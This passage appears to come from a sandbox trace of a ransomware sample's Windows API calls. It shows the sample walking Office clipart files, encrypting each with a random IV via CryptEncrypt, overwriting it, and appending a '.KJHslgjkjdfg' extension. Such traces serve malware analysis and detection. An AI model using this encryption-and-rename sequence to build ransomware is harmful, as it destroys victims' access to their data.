dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.074] SetEndOfFile (hFile=0x130) returned 1 [0189.077] GetProcessHeap () returned 0x990000 [0189.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.078] GetProcessHeap () returned 0x990000 [0189.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.kjhslgjkjdfg")) returned 1 [0189.079] CloseHandle (hObject=0x130) returned 1 [0189.079] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0189.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.080] GetProcessHeap () returned 0x990000 [0189.080] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.080] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.080] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.080] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.080] GetProcessHeap () returned 0x990000 [0189.080] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.080] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.080] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.080] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.082] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.082] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.082] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.083] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.083] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.083] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3690, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3690, lpOverlapped=0x0) returned 1 [0189.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3690, dwBufLen=0x3690 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3690) returned 1 [0189.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.084] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3690, lpOverlapped=0x0) returned 1 [0189.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.085] SetEndOfFile (hFile=0x130) returned 1 [0189.087] GetProcessHeap () returned 0x990000 [0189.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.087] GetProcessHeap () returned 0x990000 [0189.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.kjhslgjkjdfg")) returned 1 [0189.089] CloseHandle (hObject=0x130) returned 1 [0189.089] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0189.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.089] GetProcessHeap () returned 0x990000 [0189.089] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.090] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.090] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.090] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.090] GetProcessHeap () returned 0x990000 [0189.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.090] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.090] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.090] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.092] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.092] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.092] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.093] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.093] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa6d0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa6d0, lpOverlapped=0x0) returned 1 [0189.094] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa6d0, dwBufLen=0xa6d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa6d0) returned 1 [0189.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.095] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa6d0, lpOverlapped=0x0) returned 1 [0189.095] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.095] SetEndOfFile (hFile=0x130) returned 1 [0189.098] GetProcessHeap () returned 0x990000 [0189.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.099] GetProcessHeap () returned 0x990000 [0189.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.kjhslgjkjdfg")) returned 1 [0189.100] CloseHandle (hObject=0x130) returned 1 [0189.100] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0189.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.101] GetProcessHeap () returned 0x990000 [0189.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.101] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.103] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.103] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.103] GetProcessHeap () returned 0x990000 [0189.103] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.104] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.104] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.104] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.104] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.104] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.104] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.104] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.104] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.104] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.104] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b3c, lpOverlapped=0x0) returned 1 [0189.106] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b40, dwBufLen=0x3b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b40) returned 1 [0189.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.106] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3b40, lpOverlapped=0x0) returned 1 [0189.107] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.107] SetEndOfFile (hFile=0x130) returned 1 [0189.109] GetProcessHeap () returned 0x990000 [0189.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.109] GetProcessHeap () returned 0x990000 [0189.110] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.kjhslgjkjdfg")) returned 1 [0189.111] CloseHandle (hObject=0x130) returned 1 [0189.111] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0189.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.111] GetProcessHeap () returned 0x990000 [0189.111] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.111] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0189.114] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.114] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.114] GetProcessHeap () returned 0x990000 [0189.114] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.114] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.114] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.114] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.114] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.114] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.115] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.115] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.115] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.115] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.115] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x121a, lpOverlapped=0x0) returned 1 [0189.116] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220, dwBufLen=0x1220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220) returned 1 [0189.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.116] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1220, lpOverlapped=0x0) returned 1 [0189.117] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.117] SetEndOfFile (hFile=0x130) returned 1 [0189.119] GetProcessHeap () returned 0x990000 [0189.119] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.119] GetProcessHeap () returned 0x990000 [0189.119] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.kjhslgjkjdfg")) returned 1 [0189.121] CloseHandle (hObject=0x130) returned 1 [0189.121] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0189.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.122] GetProcessHeap () returned 0x990000 [0189.122] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.122] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.122] SetFilePointerEx (in: hFile=0x130, 